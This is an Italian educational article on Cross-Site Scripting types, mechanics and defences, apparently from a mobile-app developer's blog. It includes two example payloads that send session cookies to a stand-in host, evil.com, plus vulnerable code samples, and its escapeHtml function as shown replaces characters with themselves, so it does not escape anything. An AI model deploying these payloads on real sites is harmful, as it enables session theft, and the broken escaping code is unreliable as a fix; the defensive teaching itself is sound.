XSS (Cross-Site Scripting) è un tipo di vulnerabilità delle applicazioni web in cui un attaccante inietta codice JavaScript dannoso nel contenuto visualizzato ad altri utenti. Secondo OWASP Top Ten (2025), XSS rimane una delle vulnerabilità più comuni, colpendo oltre il 60% delle applicazioni web. Cross-Site Scripting consente di rubare cookie di sessione, reindirizzare gli utenti a siti di phishing e modificare il contenuto delle pagine in tempo reale.
Punti chiave
XSS (Cross-Site Scripting) è una vulnerabilità che consente a un attaccante di iniettare codice JavaScript in una pagina web, che viene poi eseguito nel browser della vittima. Il browser carica la pagina da un sito web fidato ed esegue lo script iniettato con gli stessi privilegi del codice legittimo del sito. Questo dà all'attaccante accesso a cookie, storage di sessione, all'albero DOM della pagina e la capacità di inviare richieste per conto della vittima. Le vulnerabilità XSS si verificano quando un'applicazione inserisce dati utente in una pagina HTML senza escaping adeguato o validazione.
Il termine Cross-Site Scripting è apparso per la prima volta nel 2000 in un bollettino di sicurezza Microsoft. Negli ultimi 25 anni, XSS non ha perso rilevanza: secondo HackerOne (2025), XSS rappresenta circa il 22% di tutte le vulnerabilità registrate sulla piattaforma. La ragione della persistenza di XSS è la difficoltà di controllare tutti i punti di ingresso dei dati utente. Qualsiasi campo di input, parametro URL, intestazione di richiesta HTTP o nome file può diventare un vettore di attacco se i dati vengono riflessi nel codice HTML senza elaborazione.
Gli attacchi XSS possono portare al furto di cookie di sessione, consentendo a un attaccante di accedere all'account della vittima senza password. Altre conseguenze includono: reindirizzamento a siti di phishing, manomissione del contenuto della pagina, furto di dati personali e installazione di malware (drive-by download). Nel 2023, un attacco XSS sulla piattaforma Salesforce Community Cloud ha colpito i dati di migliaia di clienti aziendali, dimostrando che anche le grandi piattaforme non sono immuni a questa vulnerabilità.
La classificazione XSS divide gli attacchi in tre tipi principali in base al metodo di consegna del codice dannoso. Ogni tipo richiede un approccio diverso alla protezione: Stored XSS viene bloccato escaping l'output dal database, Reflected — escaping i parametri URL, DOM-based — lavorando in sicurezza con l'API DOM. Comprendere la differenza è il fondamento di una strategia di sicurezza efficace.
| Tipo | Archiviazione script | Vettore di consegna | Difficoltà di rilevamento |
|---|---|---|---|
| Stored XSS | Database del server | Commenti, profili, messaggi | Media |
| Reflected XSS | Parametri URL | Link di phishing, email | Alta |
| DOM-based XSS | JavaScript lato client | Frammenti URL, postMessage | Molto alta |
Il tipo più pericoloso di XSS. Un attaccante inietta uno script in dati che il server memorizza in un database e visualizza a ogni caricamento della pagina. Un vettore tipico è il campo commenti: l'attaccante pubblica un commento con <script>document.location='https://evil.com/?c='+document.cookie</script>. Ogni utente che carica la pagina con questo commento invia i propri cookie all'attaccante. Stored XSS non richiede alcuna azione da parte della vittima oltre alla visita della pagina — il che lo rende particolarmente pericoloso per i social network, i forum e i blog.
Lo script dannoso viene passato in una richiesta HTTP (di solito in un parametro URL) e viene immediatamente riflesso dal server nella risposta. L'attaccante crea un link come https://example.com/search?q=<script>...</script> e lo distribuisce tramite phishing, social network o email. La vittima, facendo clic sul link, riceve una pagina in cui la query di ricerca inserita (script) viene visualizzata senza escaping. Reflected XSS richiede ingegneria sociale — la vittima deve fare clic sul link, il che riduce ma non elimina il rischio.
A differenza di Stored e Reflected, DOM-based XSS non richiede l'invio di dati al server. La vulnerabilità si verifica quando JavaScript lato client inserisce dati utente dall'URL, document.referrer, postMessage o localStorage nel DOM senza elaborazione sicura. Ad esempio, codice come document.getElementById('output').innerHTML = location.hash.substring(1) esegue qualsiasi HTML e script dal frammento URL (#<img onerror='...'>). DOM-based XSS è il più difficile da rilevare perché il server non riceve mai il payload dannoso — viene elaborato interamente sul client.
// Esempio di DOM-based XSS (CODICE VULNERABILE)
// Se userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — pericoloso: inserisce HTML grezzo
document.write('<div>' + userInput + '</div>');
// ALTERNATIVA SICURA — utilizzare textContent
document.getElementById('output').textContent = userInput;
XSS sfrutta una proprietà fondamentale del web: il browser esegue JavaScript ricevuto da un dominio fidato. Se un attaccante trova un modo per iniettare il proprio codice nella risposta HTML del server, il browser lo esegue con gli stessi privilegi del codice legittimo. L'attacco attraversa tre fasi: iniezione di codice dannoso nel contenuto, consegna del contenuto al browser della vittima ed esecuzione del codice con accesso a DOM, cookie e storage.
L'attaccante trova un punto di ingresso — un campo, parametro URL o intestazione il cui valore il server include nella risposta HTML senza escaping. I punti di ingresso tipici includono: barre di ricerca, campi commenti, nome utente, URL avatar, cookie, intestazioni HTTP (User-Agent, Referer). I framework moderni (React, Angular, Vue) eseguono automaticamente l'escape dell'output, ma gli sviluppatori possono disabilitare l'escaping tramite dangerouslySetInnerHTML, bypassSecurityTrustHtml o v-html.
Per Reflected XSS, l'attaccante distribuisce il link dannoso. Per Stored XSS, è sufficiente pubblicare contenuto sul sito target e ogni visitatore della pagina diventa una vittima. DOM-based XSS viene attivato quando una pagina viene caricata con un frammento URL specifico. Tutte e tre le fasi possono essere automatizzate: se XSS viene scoperto in un banner pubblicitario (contenuto di terze parti), l'attacco colpirà tutti gli utenti del sito fino alla rimozione del banner.
// Esempio di Reflected XSS nella ricerca (BACKEND VULNERABILE)
// Invece di eseguire l'escape del parametro q, il server lo inserisce in HTML
// Express.js — gestore vulnerabile:
app.get('/search', (req, res) => {
const query = req.query.q; // input utente
res.send(`<h1>Results for: ${query}</h1>`);
});
// VERSIONE SICURA — escaping tramite encodeURI o motore di template:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Le applicazioni mobili sono anche soggette ad attacchi XSS, anche se in misura minore rispetto ai siti web. Il vettore principale è WebView e i framework ibridi (Cordova, Capacitor, React Native con WebView). Se l'app carica contenuti web in WebView — specialmente contenuti utente (email HTML, articoli, messaggi) — una vulnerabilità XSS può portare all'esecuzione di JavaScript all'interno dell'app con accesso a funzioni native tramite il bridge JavaScript.
Android WebView esegue JavaScript per impostazione predefinita. Se l'app carica una stringa HTML tramite loadDataWithBaseURL() o visualizza contenuti utente, un attacco XSS può dare all'attaccante accesso all'interfaccia JavaScript (addJavascriptInterface). Google ha vietato l'uso di @JavascriptInterface per API < 17, ma il codice legacy nelle vecchie app esiste ancora. Protezione: disabilitare JavaScript in WebView se non necessario e utilizzare navigazione sicura.
React Native non usa WebView per l'interfaccia utente — i componenti vengono renderizzati in viste native. Tuttavia, quando si visualizza HTML tramite react-native-webview o componenti rich-text, il rischio XSS ritorna. Flutter usa il proprio motore di rendering (Skia) e non supporta JavaScript nei widget HTML (flutter_html non esegue tag script), ma i plugin WebView (webview_flutter) sono vulnerabili in modo simile ai WebView nativi. Migliore pratica — non passare mai HTML non verificato a WebView.
// Configurazione sicura di WebView in Android
val webView = findViewById<WebView>(R.id.webview)
// Disabilitare JavaScript se l'interattività non è necessaria
webView.settings.javaScriptEnabled = false
// Sanitizzare l'HTML prima del caricamento
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
La protezione contro XSS si basa su tre principi: non fidarsi dell'input utente, eseguire l'escape prima dell'output, utilizzare Content Security Policy. La codifica dell'output è il metodo più importante: tutti i dati ricevuti dall'utente devono essere escaped prima di essere inseriti in HTML, JavaScript, CSS o URL. I moderni motori di template (Twig, Handlebars, JSX, Blade) lo fanno automaticamente a meno che lo sviluppatore non disabiliti l'escaping con metodi speciali.
L'escaping dipende dal contesto di inserimento dei dati. Nel contesto HTML, <, >, & e le virgolette vengono escaped. Nel contesto JavaScript, vengono escaped i backtick,
e </script>. Nel contesto CSS — i caratteri di controllo. Nel contesto URL — la codifica URL. Un errore di contesto — ad esempio, inserire una stringa escaped per HTML in un attributo onclick — non protegge da XSS perché onclick viene eseguito in un contesto JavaScript dove è necessario un escaping diverso.
CSP è un'intestazione HTTP che limita le fonti da cui il browser può caricare script, stili e altre risorse. Una CSP rigorosa (senza unsafe-inline, senza unsafe-eval) blocca l'esecuzione di qualsiasi script inline, inclusi i vettori XSS. Secondo Google Security Blog (2025), i siti con CSP bloccano il 95% degli attacchi XSS. Esempio: Content-Security-Policy: default-src 'self'; script-src 'self' vieta qualsiasi script esterno e inline. CSP non protegge da Stored XSS se lo script viene caricato dallo stesso dominio, ma ciò richiede uno sforzo aggiuntivo da parte dell'attaccante.
Impostare il flag HttpOnly per i cookie impedisce l'accesso tramite JavaScript (document.cookie), bloccando il furto di cookie di sessione tramite XSS. Il flag Secure garantisce che il cookie venga trasmesso solo tramite HTTPS. La combinazione HttpOnly + Secure + SameSite=Lax rende il furto di cookie di sessione tramite XSS praticamente impossibile. Tuttavia, XSS può ancora eseguire azioni per conto dell'utente (ad esempio, inviare richieste), quindi HttpOnly non è una panacea ma parte di una difesa completa.
| Metodo di protezione | Protegge contro i tipi XSS | Efficacia |
|---|---|---|
| Escaping dell'output | Stored, Reflected, DOM-based | 99% |
| CSP | XSS inline, basato su eval | 95% |
| Cookie HttpOnly | Furto di sessione tramite XSS | 100% (non leggibile) |
| Validazione input | Stored, Reflected | 50% (dipende dal tipo) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Il test regolare di XSS è una parte obbligatoria della pipeline CI/CD di sviluppo sicuro. Gli scanner automatizzati trovano fino all'80% delle vulnerabilità XSS; il resto richiede test di penetrazione manuali. L'approccio migliore è una combinazione di analisi SAST (statica), scansione DAST (dinamica) e revisione del codice focalizzata sui punti di ingresso dei dati utente.
Per le applicazioni mobili, il test XSS include analisi WebView: verifica delle interfacce JavaScript, gestione degli schemi URL e passaggio di HTML a loadDataWithBaseURL. Si raccomanda inoltre di testare la gestione di postMessage nelle applicazioni ibride e verificare quali dati vengono passati attraverso il bridge JavaScript. Utilizzare un emulatore con un proxy (Burp Suite) per intercettare e modificare il traffico dell'app mobile.
Domande frequenti
Stored XSS memorizza lo script dannoso sul server (nel database) e si attiva a ogni caricamento della pagina. Reflected XSS passa lo script tramite un parametro URL e l'attacco si attiva solo quando si fa clic sul link dannoso. Stored è più pericoloso perché non richiede alcuna azione della vittima — è sufficiente aprire la pagina infetta.
No, HTTPS non protegge da XSS. HTTPS crittografa il traffico tra browser e server ma non influisce sulla gestione dell'input utente lato server. La vulnerabilità XSS esiste a livello di applicazione, non di trasporto. HTTPS è un minimo di sicurezza obbligatorio, ma non una difesa contro XSS.
Nella maggior parte dei casi, XSS viene eseguito all'interno del sandbox del browser o di WebView e non ha accesso al filesystem o all'hardware del dispositivo. Tuttavia, in Android WebView con interfaccia JavaScript abilitata, uno script XSS può chiamare metodi nativi dell'applicazione. In iOS, WKWebView può anche esporre dati tramite JavaScriptCore se il bridge appropriato è configurato.
Utilizzare Burp Suite o OWASP ZAP con un proxy configurato sul dispositivo mobile. Intercettare le richieste dell'applicazione, modificare i parametri e inviare payload XSS. Verificare WebView per la gestione HTML tramite loadDataWithBaseURL e la presenza di bridge JavaScript. Per React Native, testare i componenti WebView separatamente.
DOM-based XSS è un attacco in cui il JavaScript della pagina stesso prende dati dall'URL o da altre fonti e li inserisce in HTML senza validazione. Il server non partecipa — il codice dannoso viene elaborato interamente nel browser. Un esempio tipico: un sito prende testo da location.hash e lo inserisce tramite innerHTML, consentendo l'esecuzione di qualsiasi codice HTML.
Riepilogo
Svilupperemo un'applicazione mobile chiavi in mano
IT Sectr crea applicazioni iOS e Android per startup e aziende dal 2017. Ti consulteremo e ti proporremo la soluzione migliore.
Leggi anche